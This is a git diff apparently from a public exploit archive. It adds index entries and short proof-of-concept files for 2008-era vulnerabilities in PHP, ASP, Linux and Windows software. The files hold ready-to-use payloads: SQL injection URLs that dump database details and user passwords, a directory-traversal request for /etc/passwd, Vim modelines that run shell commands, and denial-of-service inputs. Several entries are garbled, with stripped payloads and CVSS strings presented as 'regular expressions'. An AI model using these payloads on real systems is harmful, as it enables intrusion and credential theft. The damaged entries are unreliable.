diff --git a/files.csv b/files.csv index a20024fdf..ebffb7fe8 100755 --- a/files.csv +++ b/files.csv @@ -29055,3 +29055,48 @@ id,file,description,date,author,platform,type,port 32280,platforms/php/webapps/32280.txt,"YourFreeWorld Ad-Exchange Script 'id' Parameter SQL Injection Vulnerability",2008-08-20,"Hussin X",php,webapps,0 32281,platforms/php/webapps/32281.cs,"Folder Lock 5.9.5 Weak Password Encryption Local Information Disclosure Vulnerability",2008-06-19,"Charalambous Glafkos",php,webapps,0 32282,platforms/php/webapps/32282.txt,"Church Edit Blind SQL Injection",2014-03-15,ThatIcyChill,php,webapps,0 +32283,platforms/php/webapps/32283.txt,"Scripts4Profit DXShopCart 4.30 'pid' Parameter SQL Injection Vulnerability",2008-08-21,"Hussin X",php,webapps,0 +32284,platforms/php/webapps/32284.txt,"Simasy CMS 'id' Parameter SQL Injection Vulnerability",2008-08-21,r45c4l,php,webapps,0 +32285,platforms/php/webapps/32285.txt,"vBulletin 3.6.10/3.7.2 '$newpm[title]' Parameter Cross-Site Scripting Vulnerability",2008-08-20,"Core Security",php,webapps,0 +32286,platforms/linux/remote/32286.txt,"Fujitsu Web-Based Admin View 2.1.2 Directory Traversal Vulnerability",2008-08-21,"Deniz Cevik",linux,remote,0 +32287,platforms/php/webapps/32287.txt,"FAR-PHP 1.0 'index.php' Local File Include Vulnerability",2008-08-21,"Beenu Arora",php,webapps,0 +32288,platforms/php/webapps/32288.txt,"TimeTrex Time 2.2 and Attendance Module Multiple Cross-Site Scripting Vulnerabilities",2008-08-21,Doz,php,webapps,0 +32289,platforms/linux/remote/32289.txt,"Vim <= 7.1.314 Insufficient Shell Escaping Multiple Command Execution Vulnerabilities",2008-08-19,"Ben Schmidt",linux,remote,0 +32290,platforms/php/webapps/32290.txt,"Accellion File Transfer Multiple Cross-Site Scripting Vulnerabilities",2008-08-22,"Eric Beaulieu",php,webapps,0 +32291,platforms/php/webapps/32291.txt,"PicturesPro Photo Cart 3.9 Search Cross-Site Scripting Vulnerability",2008-08-22,"Tyler Trioxide",php,webapps,0 +32292,platforms/linux/dos/32292.rb,"Ruby <= 1.9 REXML Remote Denial Of Service Vulnerability",2008-08-23,"Luka Treiber",linux,dos,0 +32293,platforms/php/webapps/32293.txt,"One-News Multiple Input Validation Vulnerabilities",2008-08-23,suN8Hclf,php,webapps,0 +32294,platforms/windows/dos/32294.html,"Microsoft Windows Media Services 'nskey.dll' 4.1 ActiveX Control Remote Buffer Overflow Vulnerability",2008-08-22,"Jeremy Brown",windows,dos,0 +32295,platforms/php/webapps/32295.txt,"PHP-Ultimate Webboard 2.0 'admindel.php' Multiple Input Validation Vulnerabilities",2008-08-25,t0pP8uZz,php,webapps,0 +32296,platforms/php/webapps/32296.txt,"Bluemoon inc. PopnupBlog 3.30 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2008-08-25,Lostmon,php,webapps,0 +32297,platforms/asp/webapps/32297.txt,"Smart Survey 1.0 'surveyresults.asp' Cross Site Scripting Vulnerability",2008-08-26,"Bug Researchers Group",asp,webapps,0 +32298,platforms/php/webapps/32298.txt,"HP System Management Homepage (SMH) <= 2.1.12 'message.php' Cross Site Scripting Vulnerability",2008-08-26,"Luca Carettoni",php,webapps,0 +32299,platforms/php/webapps/32299.txt,"MatterDaddy Market 1.1 'admin/login.php' Cross Site Scripting Vulnerability",2008-08-26,"Sam Georgiou",php,webapps,0 +32300,platforms/asp/webapps/32300.txt,"Educe ASP Search Engine 1.5.6 'search.asp' Cross-Site Scripting Vulnerability",2008-08-26,JoCk3r,asp,webapps,0 +32301,platforms/windows/remote/32301.py,"Kyocera Mita Scanner File Utility 3.3.0.1 File Transfer Directory Traversal Vulnerability",2008-08-26,"Seth Fogie",windows,remote,0 +32302,platforms/php/webapps/32302.txt,"AbleSpace 1.0 'adv_cat.php' Cross-Site Scripting Vulnerability",2008-08-27,"Bug Researchers Group",php,webapps,0 +32303,platforms/linux/remote/32303.txt,"Mono <= 2.0 'System.Web' HTTP Header Injection Vulnerability",2008-08-20,"Juraj Skripsky",linux,remote,0 +32304,platforms/linux/dos/32304.txt,"Red Hat 8/9 Directory Server Crafted Search Pattern Denial of Service Vulnerability",2008-08-27,"Ulf Weltman",linux,dos,0 +32305,platforms/hardware/dos/32305.txt,"Dreambox Web Interface URI Remote Denial of Service Vulnerability",2008-08-29,"Marc Ruef",hardware,dos,0 +32306,platforms/php/webapps/32306.txt,"dotProject 2.1.2 Multiple SQL Injection and Cross-Site Scripting Vulnerabilities",2008-08-29,C1c4Tr1Z,php,webapps,0 +32307,platforms/php/webapps/32307.txt,"vtiger CRM 5.0.4 Multiple Cross-Site Scripting Vulnerabilities",2008-09-01,"Fabian Fingerle",php,webapps,0 +32308,platforms/php/webapps/32308.txt,"GenPortal 'buscarCat.php' Cross-Site Scripting Vulnerability",2008-09-01,sl4xUz,php,webapps,0 +32309,platforms/php/webapps/32309.txt,"Full PHP Emlak Script 'landsee.php' SQL Injection Vulnerability",2008-08-29,"Hussin X",php,webapps,0 +32310,platforms/multiple/dos/32310.txt,"Softalk Mail Server 8.5.1 'APPEND' Command Remote Denial of Service Vulnerability",2008-09-02,Antunes,multiple,dos,0 +32311,platforms/multiple/dos/32311.html,"Google Chrome 0.2.149 Malformed 'title' Tag Remote Denial of Service Vulnerability",2008-09-02,Exodus,multiple,dos,0 +32312,platforms/php/webapps/32312.txt,"IDevSpot BizDirectory 2.04 'page' Parameter Cross-Site Scripting Vulnerability",2008-09-02,Am!r,php,webapps,0 +32313,platforms/php/webapps/32313.txt,"OpenDB 1.0.6 user_admin.php user_id Parameter XSS",2008-08-28,C1c4Tr1Z,php,webapps,0 +32314,platforms/php/webapps/32314.txt,"OpenDB 1.0.6 listings.php title Parameter XSS",2008-08-28,C1c4Tr1Z,php,webapps,0 +32315,platforms/php/webapps/32315.txt,"OpenDB 1.0.6 user_profile.php redirect_url Parameter XSS",2008-08-28,C1c4Tr1Z,php,webapps,0 +32316,platforms/php/webapps/32316.txt,"eliteCMS 1.0 'page' Parameter SQL Injection Vulnerability",2008-09-03,e.wiZz!,php,webapps,0 +32317,platforms/php/webapps/32317.txt,"@Mail 5.42 and @Mail WebMail 5.0.5 Multiple Cross-Site Scripting Vulnerabilities",2008-09-03,C1c4Tr1Z,php,webapps,0 +32318,platforms/php/webapps/32318.txt,"XRMS 1.99.2 login.php target Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32319,platforms/php/webapps/32319.txt,"OpenSupports 2.x - Auth Bypass/CSRF Vulnerabilities",2014-03-17,"TN CYB3R",php,webapps,0 +32320,platforms/php/webapps/32320.txt,"XRMS 1.99.2 activities/some.php title Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32321,platforms/php/webapps/32321.txt,"XRMS 1.99.2 companies/some.php company_name Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32322,platforms/php/webapps/32322.txt,"XRMS 1.99.2 contacts/some.php last_name Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32323,platforms/php/webapps/32323.txt,"XRMS 1.99.2 campaigns/some.php campaign_title Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32324,platforms/php/webapps/32324.txt,"XRMS 1.99.2 opportunities/some.php opportunity_title Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32325,platforms/php/webapps/32325.txt,"XRMS 1.99.2 cases/some.php case_title Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32326,platforms/php/webapps/32326.txt,"XRMS 1.99.2 files/some.php file_id Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 +32327,platforms/php/webapps/32327.txt,"XRMS 1.99.2 reports/custom/mileage.php starting Parameter XSS",2008-09-04,"Fabian Fingerle",php,webapps,0 diff --git a/platforms/asp/webapps/32297.txt b/platforms/asp/webapps/32297.txt new file mode 100755 index 000000000..86d503a2a --- /dev/null +++ b/platforms/asp/webapps/32297.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/30841/info + +Smart Survey is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +Smart Survey 1.0 is vulnerable; other versions may also be affected. + +http://www.example.com/surveyresults.asp?folder=/123adminxyz/SmartSurve/&title=example.com&sid=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/32300.txt b/platforms/asp/webapps/32300.txt new file mode 100755 index 000000000..87b4b4c1e --- /dev/null +++ b/platforms/asp/webapps/32300.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/30849/info + +ASP Search Engine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +ASP Search Engine 1.5.6 is vulnerable; other versions may also be affected. + +http://www.example.com/resource/searchdemo/search.asp?look_for="> \ No newline at end of file diff --git a/platforms/hardware/dos/32305.txt b/platforms/hardware/dos/32305.txt new file mode 100755 index 000000000..0b9aec26d --- /dev/null +++ b/platforms/hardware/dos/32305.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/30919/info + +Dreambox is prone to a remote denial-of-service vulnerability. + +Attackers can exploit this issue to crash the affected device, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed. + +Dreambox DM500C is vulnerable; other models may also be affected. + +open|send GET http://www.example.com/aaa(...) +HTTP/1.0\n\n|sleep|close|pattern_not_exists HTTP/1.# ### * \ No newline at end of file diff --git a/platforms/linux/dos/32292.rb b/platforms/linux/dos/32292.rb new file mode 100755 index 000000000..9c8a14dd7 --- /dev/null +++ b/platforms/linux/dos/32292.rb @@ -0,0 +1,30 @@ +source: http://www.securityfocus.com/bid/30802/info + +Ruby is prone to a remote denial-of-service vulnerability in its REXML module. + +Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module. + +Versions up to and including Ruby 1.9.0-3 are vulnerable. + +#!/usr/bin/env ruby +require 'rexml/document' + +doc = REXML::Document.new(< + + + + + + + +]> + +&a; + +END + +puts doc.root.text.size + + diff --git a/platforms/linux/dos/32304.txt b/platforms/linux/dos/32304.txt new file mode 100755 index 000000000..d88f063a8 --- /dev/null +++ b/platforms/linux/dos/32304.txt @@ -0,0 +1,12 @@ +source: http://www.securityfocus.com/bid/30871/info + +Red Hat Directory Server is prone to a denial-of-service vulnerability because the server fails to handle specially crafted search patterns. + +An attacker can exploit this issue to consume CPU resources with one search request, effectively blocking additional search requests from executing. Legitimate users may be prevented from authenticating to network resources that use the affected server for authentication. + +Red Hat Directory Server 7.1 and 8 are affected. + +The following example regular expressions are available: + +2.6/AV:N/AC:H/Au:N/C:N/I:N/A:P +4.0/AV:N/AC:L/Au:S/C:N/I:N/A:P \ No newline at end of file diff --git a/platforms/linux/remote/32286.txt b/platforms/linux/remote/32286.txt new file mode 100755 index 000000000..eb76554a6 --- /dev/null +++ b/platforms/linux/remote/32286.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/30780/info + +Fujitsu Web-Based Admin View is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the application's HTTP server. + +Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks. + +Web-Based Admin View 2.1.2 is vulnerable; other versions may also be affected. + + +The following example is available: + +GET /.././.././.././.././.././.././.././.././.././etc/passwd HTTP/1.0 +Host: www.example.com:8081 \ No newline at end of file diff --git a/platforms/linux/remote/32289.txt b/platforms/linux/remote/32289.txt new file mode 100755 index 000000000..a087145a4 --- /dev/null +++ b/platforms/linux/remote/32289.txt @@ -0,0 +1,23 @@ +source: http://www.securityfocus.com/bid/30795/info + +Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data. + +Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application. + +Versions prior to Vim 7.2.010 are vulnerable. + +Copy-and-paste these examples into separate files: + +;xclock +vim: set iskeyword=;,@ + +Place your cursor on ``xclock'', and press K. xclock appears. + +;date>>pwned +vim: set iskeyword=1-255 + +Place your cursor on ``date'' and press K. File ``pwned'' is created in +the current working directory. + +Please note: If modeline processing is disabled, set the 'iskeyword' +option manually. \ No newline at end of file diff --git a/platforms/linux/remote/32303.txt b/platforms/linux/remote/32303.txt new file mode 100755 index 000000000..870f7c589 --- /dev/null +++ b/platforms/linux/remote/32303.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/30867/info + +Mono is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sanitize input. + +By inserting arbitrary headers into an HTTP response, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTTP-request-smuggling, and other attacks. + +This issue affects Mono 2.0 and earlier. + + \ No newline at end of file diff --git a/platforms/multiple/dos/32310.txt b/platforms/multiple/dos/32310.txt new file mode 100755 index 000000000..4abbe1751 --- /dev/null +++ b/platforms/multiple/dos/32310.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/30970/info + +Softalk Mail Server is prone to a remote denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied data. + +Attackers can exploit this issue to crash the affected application, denying service to legitimate users. +Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed. + +Softalk Mail Server 8.5.1 is vulnerable; other versions may also be affected. + +APPEND Ax5000 (UIDNEXT MESSAGES) \ No newline at end of file diff --git a/platforms/multiple/dos/32311.html b/platforms/multiple/dos/32311.html new file mode 100755 index 000000000..0963292f3 --- /dev/null +++ b/platforms/multiple/dos/32311.html @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/30975/info + +Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input. + +Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users. + +Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected. + +NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration. + + Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit \ No newline at end of file diff --git a/platforms/php/webapps/32283.txt b/platforms/php/webapps/32283.txt new file mode 100755 index 000000000..241be5805 --- /dev/null +++ b/platforms/php/webapps/32283.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/30772/info + +DXShopCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +DXShopCart 4.30mc is vulnerable; other versions may also be affected. + +http://www.example.com.com/product_detail.php?cid=12&pid=-1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16-- \ No newline at end of file diff --git a/platforms/php/webapps/32284.txt b/platforms/php/webapps/32284.txt new file mode 100755 index 000000000..62c43ac73 --- /dev/null +++ b/platforms/php/webapps/32284.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/30774/info + +Simasy CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com.com/index.php?page=8&id=95+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+from+users/* \ No newline at end of file diff --git a/platforms/php/webapps/32285.txt b/platforms/php/webapps/32285.txt new file mode 100755 index 000000000..f5b1f9598 --- /dev/null +++ b/platforms/php/webapps/32285.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/30777/info + +vBulletin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +vBulletin 3.7.2 Patch Level 1 and vBulletin 3.6.10 Patch Level 3 are vulnerable; other versions may also be affected. + +-->